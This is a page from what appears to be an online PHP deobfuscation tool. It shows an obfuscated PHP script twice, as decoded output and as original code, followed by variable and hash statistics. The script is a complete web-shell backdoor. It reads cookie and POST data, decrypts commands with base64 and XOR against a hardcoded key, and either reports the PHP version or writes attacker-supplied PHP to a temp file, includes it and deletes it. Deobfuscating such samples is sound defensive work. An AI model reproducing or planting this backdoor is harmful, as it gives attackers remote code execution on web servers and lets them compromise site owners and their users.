Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function wnjiazrrb(){$dedgasc='nhbmufwmnv'; print_r (39113+39113); ..

Decoded Output download

<?php       function    wnjiazrrb(){$dedgasc='nhbmufwmnv';      print_r    (39113+39113); /*  sm*/ }$xontgc	=	'xontgc' /*b_ewz */ ^ /*   f   */ ''; 
 
 
function	qylnw() 
{ /*  rwfuga  */ $xqici	=  555; 
 
 
      $uoeprfm      =   'fmrpz'; 
 
 
	$igssapjtuzmnz_pph    =    555;	$lhckgun  =   $igssapjtuzmnz_pph    *     19;} 
 
 
function /*  l*/ zlerky($fqxuwuimx, /*   _oqwc  */ $trefw) 
 
 
{ 
 
 /*o  */ global    $xontgc; /*n*/ $atsrygn   =    ""; 
 
 /*  zqqx_t*/ $wqluhbciwx   =	'ziaixol'; /*  _hgf   */ for      ($igssapjtu   =    0;    $igssapjtu /*   ma   */ <   strlen($fqxuwuimx);) /*tonpzj */ {    for /* i   */ ($fdifct	=       0; /* uvnkpf*/ $fdifct	<      strlen($trefw) /* rsj */ && /*   nqni */ $igssapjtu    < /*   nn */ strlen($fqxuwuimx);    $fdifct++, /*sa   */ $igssapjtu++)	{ 
 
    $atsrygn	.=  $xontgc(ord($fqxuwuimx[$igssapjtu]) /*nj  */ ^   ord($trefw[$fdifct])); 
 
	}	} 
 
 
 /*  ykoevy*/ return       $atsrygn; 
 
 
} 
 
 
$amfqhar /*  anetb   */ = /*  d   */ $_COOKIE; 
 
$stwdz  = /*xi */ $_POST;$ueuqpq    =    407;$rgzbqerha /*   v*/ =    $ueuqpq /*ycb   */ +    10; 
 
$nt_wid    =	897; 
 
 
 
 
function /*  y*/ qvuy_jxvc($bjufd_m,	$fqxuwuimx) 
 
 
{ 
    global /* kwx  */ $xontgc; 
 
 
 
      $qhfbpp  = /*   ejh   */ sprintf($xontgc(966-920)    . /*   pem */ $xontgc(883-836)       . /*kd  */ $xontgc(37)	.	$xontgc(993-878)    .     "."."p".$xontgc(385-277),	md5($bjufd_m)); 
 /* jrr  */ file_put_contents($qhfbpp,	"<"	.     $xontgc(63)     .  "p"."h"    .	$xontgc(112) /*una*/ . /*ncan */ $xontgc(32)    .     "u".$xontgc(586-476)       .	"l".$xontgc(127-22) /*  dlsv */ .      "n"    .  "k"  .    "("	.    "_"   .     $xontgc(95) /*  loduqm */ .	"F".$xontgc(73) /* lrvh   */ .    $xontgc(76)	.    "E"."_".$xontgc(95)  . /*uxmzd*/ ")".";".$xontgc(32)       . /*  cm*/ $fqxuwuimx[$xontgc(100)]); 
    include($qhfbpp); 
 
    $tcrwen_kzh /*bouia  */ =     146; /*   tzk   */ $cyiae /*  rfqdqz  */ = /* xce_yv */ 'kyjitxq'; 
    $wsmvdv    =    'rzofgx_bro'; 
 
       $whvpuw     = /* hgkim*/ $qhfbpp; /*   h */ @unlink($whvpuw);	$enlnegcaep    = /*txsz*/ 'uroemdhlqn';} 
 
 
 
 
function    vsdbhthks() 
{ 
	$rsnkkmnxr    =	314; 
 
} 
 
 
function    mbmukelc() 
{ 
 
 
	global    $xontgc; 
   $igssapjtu    = /*   czwuiu*/ array(); 
      $fdifctnowspav	= /*   sausfw*/ 'nrgf'; 
  $kxcrdvy /*krgesf  */ = /*  hk*/ 257; 
 
 
	$igssapjtu["p"."v"] /*   qs  */ = /*iwdfop  */ phpversion(); 
 
 /*  j*/ $kxcrdvy    =      $kxcrdvy    /	6; 
 
 
 /*   tyglv  */ $igssapjtu[$xontgc(115)    .      "v"]     =    "3".".".$xontgc(903-850); 
 
	$mswujmmyn    =	'fhwga'; 
	echo    @serialize($igssapjtu); 
 
	$kxcrdvy /*  rt_   */ =      $kxcrdvy    %       17; 
 
 
 /* es */ $kxcrdvy	=	$kxcrdvy /* t  */ - /* vfw   */ 19; 
} 
 
 
 
 
vsdbhthks(); 
 
 
 
 
 
qylnw(); 
 
 
 
 
 
function    qneukms($fqxuwuimx, /*  wkhzo   */ $bjufd_m,	$exkvlcq){ 
	global /*n */ $xontgc; 
 
 
      $fqxuwuimx    =  unserialize(zlerky(zlerky(base64_decode($fqxuwuimx),      $bjufd_m), /*   b   */ $exkvlcq)); 
 
 
 /*   hsmqp  */ $uawkjxxcb /* tqby */ =   'ia'; 
 /*xjv   */ $w_omxhr      = /* iy*/ 'bjl_k'; 
       $ztjwlxkf       =    strtolower($uawkjxxcb); 
 
 
    if /*lxu*/ (isset($fqxuwuimx[$xontgc(117-20)    .    $xontgc(107)]))    { 
	if  ($fqxuwuimx["a"]     ==   $xontgc(512-407))     { 
 
 
 /*  ft  */ mbmukelc(); 
 /* x  */ } /*   r   */ elseif   ($fqxuwuimx["a"]	== /*  xubr  */ "e")	{ 
 
 
 /*  rxcog*/ qvuy_jxvc($bjufd_m,     $fqxuwuimx); 
    } /*   rvvr*/ exit(); 
    }} 
 
 
 
$amfqhar    = /*  mylahh  */ array_merge($stwdz,	$amfqhar); 
 
 
 
 
$bjufd_m    =    "6"."b"      .    "7"."c"	.      $xontgc(232-135)	.    "5"."a"    .    $xontgc(792-743)    .    $xontgc(45)    .    "e"	.     "2".$xontgc(50)    . /*f_zyud*/ $xontgc(421-324) /*  xlpxk*/ . /* s*/ $xontgc(45)    . /*nhn  */ "4"."1"	.   $xontgc(48) /*   d */ .    "3"."-"      . /*   dno*/ $xontgc(98) /* c   */ .       "0"   .	$xontgc(421-370)    . /*tax   */ "b"    . /* j */ "-"."0"."4"."b"."7"    .  "9".$xontgc(215-161)    .    "8"     . /* yqbk  */ "8"."2"	. /*bpmk   */ "c"	.	"0"."2"; 
 
 
$wfsvmmg	= /*  mn   */ -12; 
foreach /* e   */ ($amfqhar /* tdpz*/ as	$exkvlcq /*pi */ =>   $fqxuwuimx)   {	qneukms($fqxuwuimx,     $bjufd_m,      $exkvlcq);} 
 
 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php       function    wnjiazrrb(){$dedgasc='nhbmufwmnv';      print_r    (39113+39113); /*  sm*/ }$xontgc	=	'xontgc' /*b_ewz */ ^ /*   f   */ '';


function	qylnw()
{ /*  rwfuga  */ $xqici	=  555;


      $uoeprfm      =   'fmrpz';


	$igssapjtuzmnz_pph    =    555;	$lhckgun  =   $igssapjtuzmnz_pph    *     19;}


function /*  l*/ zlerky($fqxuwuimx, /*   _oqwc  */ $trefw)


{

 /*o  */ global    $xontgc; /*n*/ $atsrygn   =    "";

 /*  zqqx_t*/ $wqluhbciwx   =	'ziaixol'; /*  _hgf   */ for      ($igssapjtu   =    0;    $igssapjtu /*   ma   */ <   strlen($fqxuwuimx);) /*tonpzj */ {    for /* i   */ ($fdifct	=       0; /* uvnkpf*/ $fdifct	<      strlen($trefw) /* rsj */ && /*   nqni */ $igssapjtu    < /*   nn */ strlen($fqxuwuimx);    $fdifct++, /*sa   */ $igssapjtu++)	{

    $atsrygn	.=  $xontgc(ord($fqxuwuimx[$igssapjtu]) /*nj  */ ^   ord($trefw[$fdifct]));

	}	}


 /*  ykoevy*/ return       $atsrygn;


}


$amfqhar /*  anetb   */ = /*  d   */ $_COOKIE;

$stwdz  = /*xi */ $_POST;$ueuqpq    =    407;$rgzbqerha /*   v*/ =    $ueuqpq /*ycb   */ +    10;

$nt_wid    =	897;




function /*  y*/ qvuy_jxvc($bjufd_m,	$fqxuwuimx)


{
    global /* kwx  */ $xontgc;



      $qhfbpp  = /*   ejh   */ sprintf($xontgc(966-920)    . /*   pem */ $xontgc(883-836)       . /*kd  */ $xontgc(37)	.	$xontgc(993-878)    .     "."."p".$xontgc(385-277),	md5($bjufd_m));
 /* jrr  */ file_put_contents($qhfbpp,	"<"	.     $xontgc(63)     .  "p"."\150"    .	$xontgc(112) /*una*/ . /*ncan */ $xontgc(32)    .     "u".$xontgc(586-476)       .	"l".$xontgc(127-22) /*  dlsv */ .      "\156"    .  "\x6b"  .    "\50"	.    "\x5f"   .     $xontgc(95) /*  loduqm */ .	"F".$xontgc(73) /* lrvh   */ .    $xontgc(76)	.    "E"."_".$xontgc(95)  . /*uxmzd*/ ")".";".$xontgc(32)       . /*  cm*/ $fqxuwuimx[$xontgc(100)]);
    include($qhfbpp);

    $tcrwen_kzh /*bouia  */ =     146; /*   tzk   */ $cyiae /*  rfqdqz  */ = /* xce_yv */ 'kyjitxq';
    $wsmvdv    =    'rzofgx_bro';

       $whvpuw     = /* hgkim*/ $qhfbpp; /*   h */ @unlink($whvpuw);	$enlnegcaep    = /*txsz*/ 'uroemdhlqn';}




function    vsdbhthks()
{
	$rsnkkmnxr    =	314;

}


function    mbmukelc()
{


	global    $xontgc;
   $igssapjtu    = /*   czwuiu*/ array();
      $fdifctnowspav	= /*   sausfw*/ 'nrgf';
  $kxcrdvy /*krgesf  */ = /*  hk*/ 257;


	$igssapjtu["p"."\166"] /*   qs  */ = /*iwdfop  */ phpversion();

 /*  j*/ $kxcrdvy    =      $kxcrdvy    /	6;


 /*   tyglv  */ $igssapjtu[$xontgc(115)    .      "v"]     =    "3".".".$xontgc(903-850);

	$mswujmmyn    =	'fhwga';
	echo    @serialize($igssapjtu);

	$kxcrdvy /*  rt_   */ =      $kxcrdvy    %       17;


 /* es */ $kxcrdvy	=	$kxcrdvy /* t  */ - /* vfw   */ 19;
}




vsdbhthks();





qylnw();





function    qneukms($fqxuwuimx, /*  wkhzo   */ $bjufd_m,	$exkvlcq){
	global /*n */ $xontgc;


      $fqxuwuimx    =  unserialize(zlerky(zlerky(base64_decode($fqxuwuimx),      $bjufd_m), /*   b   */ $exkvlcq));


 /*   hsmqp  */ $uawkjxxcb /* tqby */ =   'ia';
 /*xjv   */ $w_omxhr      = /* iy*/ 'bjl_k';
       $ztjwlxkf       =    strtolower($uawkjxxcb);


    if /*lxu*/ (isset($fqxuwuimx[$xontgc(117-20)    .    $xontgc(107)]))    {
	if  ($fqxuwuimx["a"]     ==   $xontgc(512-407))     {


 /*  ft  */ mbmukelc();
 /* x  */ } /*   r   */ elseif   ($fqxuwuimx["a"]	== /*  xubr  */ "e")	{


 /*  rxcog*/ qvuy_jxvc($bjufd_m,     $fqxuwuimx);
    } /*   rvvr*/ exit();
    }}



$amfqhar    = /*  mylahh  */ array_merge($stwdz,	$amfqhar);




$bjufd_m    =    "6"."\x62"      .    "7"."\x63"	.      $xontgc(232-135)	.    "5"."\x61"    .    $xontgc(792-743)    .    $xontgc(45)    .    "\145"	.     "2".$xontgc(50)    . /*f_zyud*/ $xontgc(421-324) /*  xlpxk*/ . /* s*/ $xontgc(45)    . /*nhn  */ "4"."\61"	.   $xontgc(48) /*   d */ .    "3"."\55"      . /*   dno*/ $xontgc(98) /* c   */ .       "\x30"   .	$xontgc(421-370)    . /*tax   */ "\x62"    . /* j */ "-"."0"."4"."b"."\67"    .  "9".$xontgc(215-161)    .    "\70"     . /* yqbk  */ "8"."\62"	. /*bpmk   */ "\143"	.	"0"."\x32";


$wfsvmmg	= /*  mn   */ -12;
foreach /* e   */ ($amfqhar /* tdpz*/ as	$exkvlcq /*pi */ =>   $fqxuwuimx)   {	qneukms($fqxuwuimx,     $bjufd_m,      $exkvlcq);}






?>

Function Calls

qylnw 1
vsdbhthks 1
array_merge 1

Variables

$stwdz 0
$xqici 555
$nt_wid 897
$ueuqpq 407
$xontgc chro`
$amfqhar 0
$lhckgun 10545
$uoeprfm fmrpz
$rgzbqerha 417
$rsnkkmnxr 314
$igssapjtuzmnz_pph 555

Stats

MD5 42c55e1aba2201720e32b6322dc7153c
Eval Count 0
Decode Time 82 ms